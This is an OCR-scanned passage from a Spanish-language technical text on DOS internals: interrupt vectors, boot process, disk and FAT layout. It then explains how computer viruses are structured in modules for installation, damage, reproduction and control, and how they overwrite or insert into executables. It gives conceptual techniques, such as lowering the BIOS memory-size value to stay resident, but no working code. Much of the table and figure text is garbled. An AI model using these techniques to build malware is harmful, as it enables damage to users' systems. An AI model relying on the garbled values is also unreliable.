de vectores de interrupción de acuerdo a las direcciones de estas subrutinas en la 

ROM. La tabla de vectores de interrupción comienza en el principio de la RAM, en 
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la dirección OOOO:OOOOh (vea la sección 2.1 - mapa de memoria). Las direcciones 

en esta tabla se establecen corno un par de palabras (words- cada word, palabra, 

consta de dos bytes), la primera de las cuales corresponde al desplazamiento y la 

segunda al segmento. Un vector de interrupción puede cambiarse a otra subrutina 

de Interrupción, simplornente con ubicarse en el vector y cambiarle los valores de 

las direcciones. 

En general, las interrupciones en la familia de PCs pueden dividirse en sois 

categorías: microprocesador, hardware, software. DOS, BASIC y de uso general. 

Debido a que estos vectores constan de dos palabras de longijud, y dado 

que el vector de interrupciones es el comienzo de la memoria, se puede encontrar 

la locación en memoria de cualquier interrupción. multiplicando el número de la 

Interrupción por 4 (dos palabras equivalen a 4 bytes). Por ejemplo, el vector de 

interrupción 05h, el servicio de interrupción para impresión de pantalla, lo 

podemos encontrar en el desplazamiento 20 (5x4=20); esto nos dá la dirección 

0000:0014h. Se puede examinar los vectores de Interrupción empleando el 

programa DEBUG del sistema operativo. Por ejemplo, podemos examinar la 

interrupción 05h con DEBUG de la siguiente manera: 

DEBUG 

-D 0000:0014 L 4 

DEBUG mostrará cuatro bytes en numeración hexadecimal, tal corno, por 

ejemplo: 

54 FF 00 FO 

Convierta esto a una dirección de segmento y un desplazamiento 

invirtiendo el orden de las palabras, con esto encontrará el vector de Interrupción 

que es la dirección en ROM donde se encuentra la subrutina que efectúa la 

Impresión de la pantalla (interrupción OSh) y que es FOOO:FF54h (esta dirección es 

distinta para los d~erentes miembros de la familia PC). 

En la tabla 2-1 se muestran las principales Interrupciones y sus vectores de 

direccionamiento, resaltando las que son afectadas usualmente por los virus 

Informáticos. 
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Desplazamiento 
Número de Interrupción en el segmento 

uso 
Hexadecimal Decimal 0000 

Invoca el servicio de 
05H 5 0014 impresión de pantalla de la 

ROMBIOS. 
Clock llmer (Reloj del 

08 8 0020 sistema). 

Invoca los servicios para 
13H 19 004C manejo de discos del ROM 

BIOS. 
Invoca los servicios de 

15H 21 0054 sistema del ROM BIOS. 
Invoca los servicios 

16H 22 0058 "stendar" para ml!nejo del 
teclado de la ROM BIOS 
Invoca los servicios de 

21H 33 0084 funciones del DOS 

1 

Termina la ejecución de un 
27H 39 009C programa pero lo deja 

residente en memoria. 

TABLA2·1. INTERRUPCIONES USUALMENTE AFECTADAS POR VIRUS INFORMATICOS 

2.1.5. Arranque del DOS 

El programa inicial en ROM carga y ejecuta al programa bootstrap 

(programa de arranque) de algún disco y le transfiere el t:ontrol del procesador. 

En un disco botable (que contiene los archivos básicos del sistema operativo), el 

programa de arranque del disco verifica que estén los archivos básicos del DOS 

los cuales son dos archivos ocultos llamados IBMBIO.COM e IBMDOS.COM. Si los 

encuentra, Jos carga en memoria junto con el intérprete de comandos del DOS: 

COMMAND.COM. 

El archivo IBMBIO.COM contiene extensiones del ROM BIOS. Estas 

extensiones pueden ser cambiadas o adicionadas a las operaciones básicas de 

entrada/salida y contener correcciones a la ROM BIOS existente. nuevas rutinas 
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para nuevos equipos, o mejorar, modificando rutinas estándares del ROM BIOS. 

Debido a que es parte del software del disco, las rutinas del IBMBIO.COM dan un 

medio conveniente de modificar al ROM BIOS. Todo esto es necesario, porque las 

nuevas rutinas, cambian los vectores de interrupción anteriores de las rutinas del 

ROM BIOS para establecer las nuevas localidades dol BIOS cuando éste es 

cambiado. Siempre que un nuevo dispositivo es adicionado al computador, los 

programas de soporte pueden ser incluidos en el archivo IBMBIO.COM o Instalar 

programas controladores o de configuración de los mismos, eliminando la 

necesidad de remplazar los circuitos ROM. 
Se puede pensar en las rutinas del ROM BIOS como el sistema elemental 

para habllttar el software, efectuando las más fundamentales y primordiales 

operaciones de entrada/salida. Las rutinas del IBMBIO.COM, al ser una extensión 

del ROM BIOS, son igualmente esenciales para el funcionamiento básico. 

El archivo IBMDOS.COM contiene las rutinas de servicios del DOS. Los 

servicios del DOS, al igual que los servicios del BIOS, pueden ser llamados por 
programas a través de algunas interrupciones cuyos vectores están localizados en 

Ja tabla de vectores de interrupción en la parte baja de la memoria. Una de las 

Interrupciones del DOS, Ja interrupción 21 h {decimal 33), es particularmente 
importante, ya que cuando es llamada, se tiene acceso a un gran número de 

funciones básicas del DOS. Las funciones del DOS proveen un mejor control, 

sofisticado y eficiente de entrada/salida que las rutinas del BJOS, especialmente 

con operaciones de manipulación de archivos en los discos. Todo proceso 

estándar de los discos - formateo del disco; lectura y escritura de datos: abrir, 

cerrar, y borrar archivos: búsqueda a través de directorios - son incluidas en las 

funciones del DOS, y constituyen parte fundamental de programas DOS de alto 

nivel, tales como FORMAT, COPY, y DIR. 

El archivo COMMAND.COM es el tercero y más Importante del DOS. Este 
archivo contiene las rutinas que interpretan los comandos que se introducen a 

través del teclado cuando se está en el modo de comando del DOS {cuando 

aparece el prompt del sistema seguido del cursor). Por comparación del comando 

introducido con una tabla de nombre de comandos, el COMMAND.COM puede 

dfferenciar entre un comando interno que forme parte del archivo 

COMMAND.COM, tal como RENAME o COPY, y un comando externo, tal como 

los programas de utilidades del DOS {como DEBUG). El intérprete de comandos 
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actlla eJecutando las rutinas requeridas por los comandos lntllmos,:o buscando 

los programas requeridos en disco cargándolos en memoria. 

2.2 Estructura de los discos. 

Los sistemas de computación deben tener medios para almacenar 

Información permanentemente. Usualmente se emplea impresión en papel, discos 

magnéticos, cintas magnéticas, discos ópticos. Pero el medio más comlln en la 

familia de las PC es el disco flexible (diskettes) y el disco duro (hard disk). Ambos 

se presentan en varios tamaños y capacidades pero su funcionamiento es 

básicamente el mismo: la información es codificada magnéticamente y grabada en 

la cara de los discos y mediante software se controla al disco. 

Cuando apareció la familia PC en 1981, ésta usaba un sólo tipo de disco: 

medida de 5 1/4 pulgadas con doble densidad, un sólo lado y solamen1e 160 

Kilobytes (KB) de capacidad. Actualmente existen discos de alta capacidad de 5 

1/4 y 3 1/2 pulgadas.de 1.2 y 1.4 Mb respectivaman1e, que son los estándares 

para los equipos PCs AT y PS2s, aunque se encuentran también los discos 

ópticos de 120 Mb. 

2.2.1 Mapa do los dlscoe. 
Para comprender como eS1á organizada la información en los discos, 

considere la estructura física de los discos y los mecanismos para leer y escribir 

en ellos. 

Internamente, un disco es una platina circular fabricáda con materiales qua 

facllltan la codificación magnética para representar datos digitales. El disco está 

protegido por una cubierta de plástico con orificios estratégicos para su uso. 

Las unidades de disco contienen un motor que rota el disco a una 

velocidad constante. El controlador contiene dos cabezas de lectura/escritura. una 

por cada lado del disco. Cada cabeza contiene una bobina que transmite 

impulsos eléctricos a la superficie del disco, estos Impulsos eléctricos inducen un 

campo magnético que alinea las partículas magnetizadas en la superficie del 

disco. ES1e alineamiento determina el valor de un bit, el cual sólo puede tener dos 
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valores: O si las partlculas esttln alineadas en el mismo sentido o 1 si las partlculas 

se alinean en sentido contrario, como se muestra en la figura 2·2. 

o 
o 

FIGURA 2-2. ESCRITURA/LECTUAA DE UN CISCO MAONETICO 
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La manera en que es mapeada la información en los discos flexibles y en 
los discos duros es resultado natural de la geometría del hardware. Cuando la 

posición de la cabeza de lectura/escrttura efectúa un recorrido por toda una 

circunferencia hasta regresar a su posición inicial se dice que ha recorrido una 

pista (!rack), vea la figura 2·3. 

PISTAJO@PISTAO 
PISTA 1 

o 

FIGURA :z.3. PISTAS DE UN CISCO W.ONETICO 

Debido a que una pista del disco puede contener 4 KB o más datos, estas 

pistas se dividen en unidades llamadas sectores, como se muestra en la figura 2· 

4. Todos los sectores tienen la misma capacidad de almacenar datos • típicamente 

512 bytes tanto para discos flexibles como para discos duros. Los sectores y 
pistas son numerados secuencialmente, por lo que para localizar un dato en 

partlcular sólo tiene que especificar el número de pista y el número de sector. 

Debido a que los discos flexibles tienen dos caras y los discos duros más 

de dos, siempre, se necesttan tres dimensiones (tres parámetros) para localizar 

datos. Por lo tanto, la posición de la cabeza de lectura/escritura es descrita por un 

número de cilindro. Como las pistas, los cilindros son numerados 

secuencialmente. Si se piensa en un cilindro como un puntero de pistas para dar 

la posición de la cabeza de lectura/escritura, se podrá observar que la locación de 

una pista en particular es determinada al especificar un número de cilindro mas el 

número de cabeza de lectura/escritura. 

47 



FAT1 

FIGURA 2-4. SECTOOES DE UN OISCOMAONETICO 

SI se tiene esto en mente, es fácil censar varios formatos de disco usados 

en las PC y PS2 (vea la tabla 2-1). 

TIPOOEOISCO CAPACIDAD CfUNOROS SECTORES POR PISTA lAOOS 

51/4 • PUL.GADAS 1001<b ... • 1 
1801<b ... • 1 
3201<b "' e 2 
3801<b "' • 2 
1.2Mb 80 13 2 

3112·PUL.GADAS 7201<b 80 • 2 
1.44 Mb 80 'ª 2 

TABLA 2·1. FORMATOS DE DISCOS FlEXIBlES EMPLEADOS EN LA PCY PS/2. 
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2.2.2. Disco Bootable. 

Un disco boOtable es el que contiene la información necesaria para cargar y 

ejecutar el sistema operativo al tiempo que arranca el computador. Todo disco 
puede ser bootable, para esto no es necesario que tenga un formato especial, 

solamente necesita contener ia información nocasaria para que el ROM BIOS 

arranque el sistema operativo. 
El primer sector del disco - cilindro O, cabeza O, sector 1 - es reservado para 

un pequel'\o programa de arranque (el programa debe ser corto debido a que el 

tamaño de un sector es sólo de 512 bytes). La función de este pequeño programa 

de arranque es el de cargar en memoria al sistema operativo y transferirle el 

control a él. 
Cuando se arranca el computador las rutinas del ROM 810S leen en 

memoria el contenido del sector de carga (boot sector) del disco, checando si 
contiene el programa de arranque. El 810S examina los dos últimos bits de este 

sector buscando que tengan la asignación 55h y AAh que indica que el disco es 

bootable. Si no encuentra esta asignación, el BIOS asume que el disco no es 

bootable. 

2.2.3. Estructuro lógico de loa discos. 

Todos los discos manejados por DOS tienen un lormato lógico del mismo 

tipo: el tamaño del disco, pistas. y sectores son identificados numéricamente con 

la misma notación. 

El DOS no reconoce cilindros, lados y sectores. El UOS ve un disco como 

una secuencia de sectores lógicos. La secuencia de sectores lógicos comienza 

con el primer sector del disco: sector 1, cilindro o, cabeza O (el boot sector), que 

es para el DOS el sector o. 
Los sectores lógicos son numerados de pista en pista en el mismo cilindro, 

y se enumeran de cilindro en cilindro. Después del último sector en el cilindro O, 

cabeza O, es seguido por el primer sector en el cilindro O, cabeza 1; el último 

sector en un cilindro es seguido por el primer sector en el cilindro siguiente. 
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El uso de la numeración de sectores lógicos por el DOS lo limita en cuanto 

al espacio en disco al cual puada acceder. Esto os debido a que el DOS mantiene 

números enteros de 16 bits para numerar los sectores lógicos, por lo que no 

puede acceder a más de 65,5$6 sectores lógicos en un disco, debido a que el 

tamaño estándar de un sector es do 512 by1es. Por esto la memoria máxima que 

puede manejar es 65,536 x 512 o 32 MB. Esto no es ningún problema para los 

discos ftexibles, pero es una gran limitación para algunas PC/AT y PS2 que tengan 

discos mayores de 32 MB. 

Para evitar esta restricción, la versión DOS 3.3 introduce la noción de 

partición extendida de DOS. Con el DOS 3.3 se provee el programa de utilería 

FDISK para hacer una partición de un disco muy grande, con lo que se puede 

separar un disco en dos o más discos lógicos. 

2.2.4. Como el DOS organiza loa discos. 

Cuando el DOS formatea un disco, éste limpia y verifica cada sector. Todo 

disco, ya sea flexible o duro, es particionado en un mapa de cuatro áreas 

separadas. Estas áreas, en orden en que son inicializadas, son: área reservada 

(boot sector o sector cero), la tabla de locación de archivos FAT (File Allocation 

Table), el directorio raíz (root directory), y el área de archivos. Estas áreas se 

esquematizan en la figura 2-5. El tamaño de estas áreas varía de acuerdo a los 

formatos, pero la estructura y el orden de éstas no cambia. Estas áreas se 

explican con mayor detalle a continuación. 

EL Sector de carga lboot sector\. 

El boot sector es la primera área del disco. Consiste primordialmente de un 

corto programa en lenguaje de máquina que comienza los procesos para 

cargar al DOS en la memoria. Como ya se ha mencionado, el ROM BIOS 

checa si el disco es bootable y en caso de serlo efectúa los procesos 

pertinentes. 

La primera instrucción de este programa es un salto, JMP Oump), el cual 

transfiere el control al resto del programa, en el mismo sector. 
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S11c10116glcoO 

TablaM locación M archlvoe (FAT) 

Olrectotlo Ral;z fRoot dlttclory) 

ArH d9 Mchlvoa 
(archivo• y1ubcl11clDfio1) 

Para todo disco formateado (excepto los discos formateados con ocho 

sectores por !rack), se encontrarán algunos parámetros en el boot sector, 

comenzando en el onceavo brt (vea la figura 2-6b). Estos parámetros son 

parte del bloque de parámetros del BIOS usado por el DOS para controlar 

cualquier tipo de disco. 

El Directorio Rp!z !Root Dlrectorvl. 
El directorio ralz, tanto en los discos flexibles como en los discos duros, es 

creado por el programa FORMAT del DOS. El tamaño del directorio raíz es 

determinado por FORMAT, por lo que el número de entradas es limitado. 

El directorio raíz contiene una serie de entradas de 32 bits. Estas entradas 

contienen el nombre de un archivo, un subdirectorio, o una etiqueta de disco 
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(label). Las entradas del directorio contienen información básica sobre el 

tamaño de los archivos, su localización en el disco, y la hora y fecha en que 

fueron modificados por última vez. Esta información básica es contenida en 

ocho campos listados en la figura 2-&:. 

SECTOR O~----------' 
·. T,\11..A DE IDENTIFlCAOOOEB 
OEPARAMETROS DELDISOOY 
. . PROORAMA.S DE CARGA 

. '·' .. '. .(llOCITSTRA,,, 
SECTOR1-1---------l 

PRIMERA COPIA DELAFAT 

SECTOR3 -1---------1 
SEGUNDA COPIA DE LA FAT 

omecrORIO AAIZ 

SECTOR 12 -1---------1 
AREA DE OATOO 

SECTOR719 ~---------

FIGURA 2.Sa. MAPA DE AAEAS PCfl SECTCflES 

FIGURA Uc. ROOT DIRECTOR.Y 

DESPlAZAMIENTO 
OOH 

03H 

06H 

OCH 

OEH 

10H 

1\H 

'"' 
'"' 
16H 

18H 

1AH 

1CH 

1EH 

30H 

BlXXXXOEBXXOO 

IDENTIF!CAOOíl DE SOYVERSION 

BYTES Pat SECTORES 

SECTORES PCA CLUSTER 

SECTORES RESERVAOOO 

Nl.l.EAO DE FATS 

NUMERO DE REGISTROS DE DIRECTORIO 

TOTAL DE SECTORES LOOICOS 

IDENTIFICAOC>R DEFAT (11~ 

NtMEROOESECTORES POR FAT 

SECTORES F'OR PISTA 

NLMEAO DE LADOS 

NI.MERO DE SECTORES OCULTOS 

PAOORAMA DE CA.ROA (BOOTSTRAP) 

DESPLAZAMIENTO 

OOOJH 

0016H 

001BH 

001AH 

001CH 

00"1tl 

NOMGAE DB. ARCHIVO 

EXTENSION 

BYTE CE ATRIBUTO 

RESERVADO 

HORA DE CREACla.I O 
lA..11W. MOOIFIC>.CION 

FECHA DE CREAOON O 
\.A. TIW. MOOIFICACION 

Cll.STER DE C~IENZO 

TAW.00 DB. ARCHIVO 
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Desplazamiento OOh: El nombre de archivo. 
Los prlmeros B bits de una entrada contiene el nombre de archivo, en 

formato ASCII. Si el nombre de archivo es menor de B bits, éste se rellenará a 
la derecha con blancos (CHR$(32)). Las letras deben ser mayúsculas y no 

debe contener blancos incertados, por ejemplo AA 88. 

Dos códigos se emplean para indicar situaciones especiales, los cuales 

aparecen en el primer byte del campo. Cuando un archivo es borrado, DOS 

escribe en el primer byte del campo el código E5h, para Indicar que esa 

entrada puede ser empleada por otra. En las versiones DOS 2.0 y 

posteriores si el primer byte de una entrada tiene el código OOh éste le indica 
que llegó al final de la lista de entradas en el directorio. 

Deaplazamlento OBh: La extensión del archivo. 

Directamente después del nombre del archivo se encuentra la extensión del 

mismo, también en formato ASCII. Tiene una longitud de tres bytes, y al Igual 

que el nombre del archivo, es rellenado por blancos a la derecha si se 

ocupan menos de tres caracteres. 

Cuando se trata de una etiqueta de disco (label), los campos de nombre y 

extensión son tratados como un sólo campo combinado de 11 bytes. En este 

caso, insertar blancos está permitido. 

Desplazamiento 08h: El atributo del archivo. 

llene la extensión de 1 byte, el cual esta codificado por un bit 

Individualmente, del primero al séptimo. Este byte categoriza el tipo de 

entrada. 

El bit O, marca si el archivo ha sido marcado como sólo de lectura. En este 

estado, el archivo esta protegido contra modificationes o borrado del 

mismo por cualquier operación del DOS. 

El bit 1 marca si el archivo es oculto y el bit 2 declara si el archivo es de 

Eistema. Archivos marcados como ocultos o de sistema no pueden ser 

vistos por operaciones ordinarias del DOS, tal como el ::amando DIR. 
El bit 3 marca que la entrada en el directorio es una etiqueta del disco. 

El bit 4, es el atributo de subdirectorio, éste identifica que la entrada es un 

subdirectorio. Debido a que los subdirectorios son Inicializados como un 

archivo ordinario, ellos necesitan un soporte de entradas de directorio. El 
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cluster de comienzo de esta entrada señala al sector en el cual se tiene 

una estructura Igual al directorio ralz, la cual tiene las mismas 

características aquí explicadas. 

El bit 5 es el atributo de archivo, el cual siempre está a 1 cuando el archivo 

es creado o modificado. 

Desplazamiento OCh: Roservado. 

Esta área de 1 O bits se reserva para algún uso futuro, todavfa no 

Implementado. 

Desplazamiento 16h: Tiempo. 

Este campo contiene dos bytes que marcan el tiempo {la hora) en que fueron 

creados o en que se realizó la última modificación. Este dato, en sí mismo, 
está codificado y se basa en un reloj de 24 horas. Para decodificar esta 

Información en horas, minutos y segundos se emplea la siguiente fórmula: 

Tiempo= {horas x 2048) +(minutos x 32) +(segundos / 2) 

El tiempo 11:32:1 O esta codificado como 5C05h (decimal 23557). 

Doaplazamlento 1 Bh: La Fecha. 

Este campo contiene 2 bytes en cuyo valor se marca la fecha en que el 

archivo fue creado o fue modificado por última vez. La fecha, es tratado 

como un número entero tipo palabra (word-2bytes), que para codificarse en 

al\o, mes y día emplea la siguiente fórmula: 

fecha=((año - 1980) x 512) + (mes x 32) + dia 

Usando esta fórmula, la fecha Diciembre 12, 1988 se codifica como 118Ch 

(decimal 4492); 

(1988 -1980) X 512 + 12 X 32 + 12= 4492 
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El año máximo que puede calcular el DOS es 2099. 

Deaplazamlento 1 Ah: El cluster de comienzo 
El séptimo campo de un registro en el directorio son 2 bytes que marcan el 

número de cluster en donde comienza el archivo en el área de datos del 

disco. Este número de cluster es el punto de entrada para localizar una 

cadena en la FAT, la cual señala todos los cluster que constituyen el archivo 

y el orden en la secuencia de los mismos. 

Deaplazemlento 1 Ch: El tamaño del archivo 

El último campo de un registro del directorio es el tamaño del archivo. Este 

es codificado como un número entero de 4 bytes sin signo, el cual puede 

especificar un tamaño de archivo muy grande • 4,294,967,295 bytes, para ser 

exacto, demasiado grande para cualquier propósito práctico. 

El DOS emplea este valor para determinar el tamaño exacto del archivo. 

Debido a que un archivo es alojado en cluster de 512 bytes o más,'1ll espacio 

actual ocupado por un archivo es usualmente mayor que el valor registrado 

en el directorio. En el disco, el espacio entre el final del archivo y el final del 

úlllmo cluster del archivo as dasperdiciado. 

Todo dato de un archivo o subdirectorio esta contenido en el área de 

archivos, la cual ocupa la última y mayor área del disco. 

El DOS le asigna espacio a un archivo, un cluster a la vez, según sus 

necesidades de espacio (recuerde que un cluster es uno o más sectores 

consecutivos; el número de sectores por cluster es establecido al formatear 

el disco ·vea el apéndice A). Cuando un archivo es creado, o uno existente 
es extendido, la locación del espacio crece. Cuando se necesita mayor 

espacio, el DOS asigna y locaciona otro cluster al archivo. 

En condiciones ideales, un archivo es ubicado en un bloque continuo de 

espacio. Usualmente, un archivo tiene que separarse en bloques no 

continuos, especialmente cuando la información es adicionada a un archivo 

existente o cuando un archivo es creado en el espacio de un archivo 

previamente borrado. 

Esta fragmentación de los archivos ocasiona lentitud en el acceso a los datos 

del archivo. Pero la fragmentación no tiene otros efectos, y generalmente los 

programas no necesitan estar concentrados en un solo bloque de memoria. 
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En la mayoría de los casos, esta fragmentación no tiene un mayor Impacto 

en la velocidad de los programas. 

Esta fragmentación también puede ser observada en la FAT de los discos, la 

cual conserva el orden de la secuencia de cluster de un archivo. 

l.a Tabla de Locación de Archivos: FAT 
La tabla de locación de archivos (FAT - File Allocation Table), es utilizado por 

el DOS como un mapa de como es utilizado el espacio en el área de archivos 

del disco. 

Para muchos tipos de formatos de disco, el DOS mantiene dos copias de la 

FAT, para p1evenir el caso de que una de ellas se borre o tenga errores. 

Curiosamente el programa CHKDSK del sistema operativo no da información 

en caso de que las dos FATs sean dtterentes. 

La organización de la FAT es simple: Tiene un registro en la FAT por cada 

cluster en el área de archivos. Un registro en la FAT puede tener uno de los 

valores listados en la tabla 2-3. SI el valor de la entrada no es marcado como 

no-usado, reservado o defectuoso, el cluster correspondiente en la FAT es 

parte de un archivo, y el valor de esta entrada en la FAT Indica el número del 

siguiente cluster en el archivo. 

FAT DE 12 BrT9 FAT DE 16 BITS DESCR!PQ'JN 

o o Clu.W1!nueo 

FFO-FF6h FFFO.FFF6h Clutter ftt&Nado 

Ff7h Fff7h """"'malo (d&i\AJol 

FFS.FFFh FFFB-FFFFh Ulllmo clutitr de un erthlvo (marc• 

cM fln de atchlvo\ 

toTAO VALOFD Slaulonle cluaer de un arehlYo 

TABLA2-3. OESCRIPCtON OE LOS VALORES POSIBLES EN LA FA.T DE UN DISCO FLEXIBLE. 

Este método por el que se la asigna espacio a un archivo establece un 

mapa de cadenas de registros en la FAT, en donde cada entrada establece el 

punto del siguiente registro en la cadena (vea la figura 2-7). El primer número de 
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cluster en la cadena es el establecido en el séptimo campo en el directorio raíz 

(root dlrectory):cluster de comienzo. Cuando un archivo es creado o extendido, el 

DOS asigna un nuevo cluster al archivo buscando en la FAT un cluster marcado 

como no_usado (esto es, un cluster que esté marcado en la FAT como O), una vez 

encontrado lo adiciona a la cadena. Cuando un archivo es borrado, el DOS libera 

los cluster que tenla asignados limpiando las correspondientes entradas en la FAT 

(marcándolas con O). 

A1Q11trode 
Otrectorlo 

FAT 0000 

Nombre d9 
Archivo EX11nalon 

Clu1!1tdon• 
Coml1nta 

FIGURA 2·7. LOCALIZACION V SEGUIMIENTO CE ARCHIVOS POR LA FAT 

La FAT puede tener un formato de 12 bits o 16 bits por entrada. El formato 

de 12 bits es usado por discos flexibles y duros que no tengan más de 4078 

clusters. 

Los primeros dos bytes en la FA T son reservados para uso del DOS, y 

contienen la descripción de la medida de la FAT, la cual aparece en el bloque de 

parámetros del BIOS en el boot sector (sector O) del disco. Los bytes sobrantes 

de las primeras dos entradas son completados con el valor OFFh, esto es por que 

los primeros dos clusters (O y 1) son reservados, el cluster número 2 corresponde 

al primer cluster del área de archivos en el disco. 

Leer los valores de una FAT de 16 bits es fácil, sólo hay que multiplicar el 

número de cluster por 2 para encontrar la dirección de la correspondiente entrada 
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en la FAT. Para un FAT de 12 bits, lo anterior se encuentra mullJplJcando el clulltor 

por 3 y dividiéndolo entre 2. 

2.3 Estructura de los virus. 

Como so menciona anteriormente, los virus lnlomáticos son programas. La 

estructura de estos programas es muy variada, dependiendo do la filosol!a que 

emplea su creador, pero es posible delimitarla, de acuerdo a su comportamiento, 

en módulos con funciones muy especificas. La estructura modular de los virus 

Informáticos se muestra en la figura 2-6. 

lNSTA!ACION REPRODllCCION PRINCIPAL 

FIGUP.A 2-8 ESTRUCTURA. MODULAR DE LOS VIRUS INFOfUMTICOS 

Un virus no necesariamente tiene esta estructura, ni siquiera necesita estar 

desarrollado en módulos, pero tal estructura es la más representativa del 

funcionamiento de un virus, además de ser la mejor estructurada. 

Cada uno de los módulos son subrutinas que tienen finalidad específica, por lo 

que pueden manejarse como un programa independiente. La explicación de cada 

uno de los módulos se presenta a continuación. 

2.3, 1 Módulo de Instalación. 

Este módulo tiene por función "activar" al programa, es decir, establecer las 

condiciones Indispensables para que el virus opere, instalándose en la memoria y 

obteniéndo el control del procesador. 

Atendiendo a la forma de Instalación se pueden encontrar dos grupos de 

virus: virus temporales y residentes (ver sección 1°.5). Los virus temporales se 
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instalan en la memoria al ejecutarse un programa Infectado, y se cargan en la 

memoria de manera normal, como cualquier otro programa, y por lo mismo, al 

terminar la ejecución del programa infectado, ambos son descargados de la 

memoria. 
Los virus residentes por el contrario, efectúan una labor más compleja de 

instalación, ya que no solamente deben copiar el código virus a la memoria RAM, 

sino que además necesitan proteger esta copla para evitar que el sistema 

operativo la borre o sobreescriba en ella. La forma en que efectúan esto es, 

generalmente en función de en donde copian su código: 

En el boot sector de loa discos. Para estos virus la instalación se basa en el 

hecho de que sus procesos se efectúan antes de ser cargado el sistema 
operativo, por ello, solamente necesitan copiar su código en la parte alta de 

la memoria RAM y proteger esta parte de la memoria para que no sea 

utilizada. Esta protección es fácil de realizar debido a que en la dirección 

0040:0013h, perteneciente al área de datos de la ROM (vease sección 2.1. 1.), 

existe la Información relativa al tamaño de la memoria disponible en Kb, dato 
en el cual se basa el sistema operativo para instalar en memoria una porción 

residente en la parte baja y otra en la par:o nltn. J\:;f el virus solamente 

necesita leer este parámetro y restarle su longitud, y cuando el sistema 
operativo se carga en memoria, establece una porción residente en la parte 

alta de la memoria sin tocar al programa virus cargado anteriormente. Asf, se 

asegura que durante la operación del computador, en ningún momento se 

borrará o alterará el código virus instalado. 

En loa programas ejecutables.En estos casos, debe considerarse que el 

sistema operativo ya ha sido instalado y éste llene ef conocimiento y control 

exacto de la memoria libre disponible, pero además, ya se instalaron los 

servicios de interrupciones del DOS, y pueden utilizarse las Interrupciones 

20h y 27h las cuales terminan la ejecución de un programa, pero no borran a 

éste de la memoria, dejándolo residente en memoria (TSR • Terrninate and 

Stay Residen!). Los programas y datos que se establecen corno residentes 

son manejados corno una extensión del DOS y no pueden ser borrados o 

sobreescritos por otros programas. 
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Un virus informático puede emplear estos servicios especificando una 

porción de su programa para que permanezca activo en la memorta. 

2.3.2 Módulo do Daño. 

Un virus Informático tiene una gran potencialidad de efectuar daño a los 

sistemas que infecta debido a las vulnerabilidades existente en los equipos PC. 

De acuerdo al daño que efectúan puede diferenciarse a distintos grupos de virus: 

Daño f(slco. La gran mayoría de los virus efectúan daños al software de los 

equipos, pero un 2% de ellos tienen funciones que afectan al hardware. 

principalmente a las unidades lectoras de los discos flexibles, ya que las 

hacen trabajar de manera excesiva. 

Pérdida de Información. Borran los archivos de los usuarios y algunos 

efectúan hasta un formateo de los discos duros de los sistemas. 

Modlflcaclón de la Información. En este caso , están destinados a afectar 
sistemas de tipo financiero, en los que no borran los archivos, pero si 

modifican la información conteniente en ellos. Otros modifican parámetros de 

sistema, lo que ocasiona errores que a "simple vista" parece que tienen 

origen en la instalación de los sistemas. 

Espacio y Recursos. Los virus llamados "benignos" no efectú;:in daño latente, 

de hecho la mayoría de los investigadores no los clasifica como dañinos, 

pero sin embargo, ocupan un espacio físico y recursos del procesador sin 

aportar ningún beneficio. 
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2.3.3 Módulo de reproducción. 

Este módulo es el encargado de efectuar las labores de diseminación o 

contagio a otros programas y sistemas. 
El contagio informático esta básicamente en el st'>ctor O de los discos y en 

los archivos ejecutables, aunque también se da, en menor grado, en los archivos 

con extensión .OVL y .BAT. El resultado del proceso de este módulo es una copla 

exacta del programa virus, pero el desarrollo de esta reproducción varía de 

acuerdo a la técnica utilizada: 

Sobreeacrltura. En este caso el código virus remplaza a un código 

preexistente, es decir, sustituye las instriucciones del programa en proceso 

de infección, por sus instrucciones. 

Inserción. En el cual el virus se añada al código anfitrión al principio o al final 

del mismo. El código del programa anfitrión no se modifica mas que de 

ubicación, pero la ejecución del mismo no tendrÁ modificación. 

2.3.4 Programa Principar. 

Es el que se encarga de controlar y coordinar la ejecución de los demás 

módulos. 

Generalmente esta parte del programa funciona al activarse el virus, 

mandando la ejecución del módulo de instalación, y dependiendo de ésta 

instalación, posteriorme~te verifica las condiciones de disparo para el módulo de 

daño, asl como para el de reproducción. En sf este módulo lunciona como 

administrador, validando la ejecución de cada uno do los módulos conforme al 

cumplimiento o no de condiciones predeterminadas. 

Usualmente en él se encuentra además la función de producir un mensaje, 

que es la manifestación abierta dol virus, es decir, como una especie de ''firma" a 

manera de "el virus estuvo aqu1'.Este mensaje es de tipo visual y se despliega en 

la pantalla del monitor y aunque algunos solamente presentan un breve texto tal 

como: "Ho Ha Ho" üo-jo-jo), o/ros desarrollan presentaciones muy vistosas, por 
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ejemplo el virus de Turfn o del plng-pong el cual muestra un continuo movimiento 

de una "pelotita' que se va rebotando contra los contornos del monitor y las letras 

de la pantalla, o como en algunos virus contenidos en juego8 de video, los cuales 

presentan funciones gráficas muy elaboradas. 

2.4 Modos de ataque. 

Aunque hay sin duda un gran número de variaciones, los virus conocidos 

pueden categorizarse en términos de dos de sus propiedades fundamentales: 

"lCómo Infectan otros progrnmas?" y "lEn dónde viven?". 

2.4.1. Mecanismos de ataque 

En términos de infectar a otros programas, los virus conocidos pueden ser 

agrupados dentro de tres clases generales: de reemplazo, sobre 

escrttura(overwriting) e inserción. 

Virus de sobreescrltura. 

Estos virus simplemente sobre escriben los primeros n bytes de un archivo 

ejecutable con las instrucciones del virus y son de esta manera, relativamente 

fáciles de crear. Considere que un programa es portador de un virus (un 

Caballo de Troya, por ejemplo) el cual se introduce en un sistema de 

cómputo en donde astan dos programas del usuario "sanos", es decir, no 

infectados. El estado inicial se muestra en la figura 2-9. 
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1 VIRUS PAOORA'-AA PORTADOR 

PAOORAMA DE USUARIO 1 FIOURA.2-9 
ESTADO INICIAL DEL SISTEMA 

PAOORAMA DE USUARIO 2 

El programa infectado es ejecutado. La parte que constituye al virus es 

ejecutada primara e intenta infectar a los demás programas. Asumamos que 

infecta exitosamente al archivo de usuario 1. El resto del programa infectado 

es ejecutada posteriormente. El estado del sistema será entonces como se 

muestra en la figura 2-1 O. 

1 VIRUS PAOORAMA PORTA~ 

1 VIRUS 1 PROGRAMA DE USUARIO 1 

1 PROGRAMA DE USUARIO 2 

FIOUAA2·10. 
ESTADO DEL SISTEMA 

OESPUES DE LA PRIMERA. 
INFECCION 

Nótese que la primera parte del programa de usuario 1 ha sido remplazada 

por el código del virus. Asumamos ahora que el programa usuario 1 es 

ejecutado. Este ejecutará las instrucciones del virus que infectan al programa 

de usuario 2 y después se "rompe" o se comporta de alguna manera extraña. 

El estado del sistema será es como el mostrado en la figura 2-11. 

63 



1 VIRUS PROGRAMA PORTADOR 

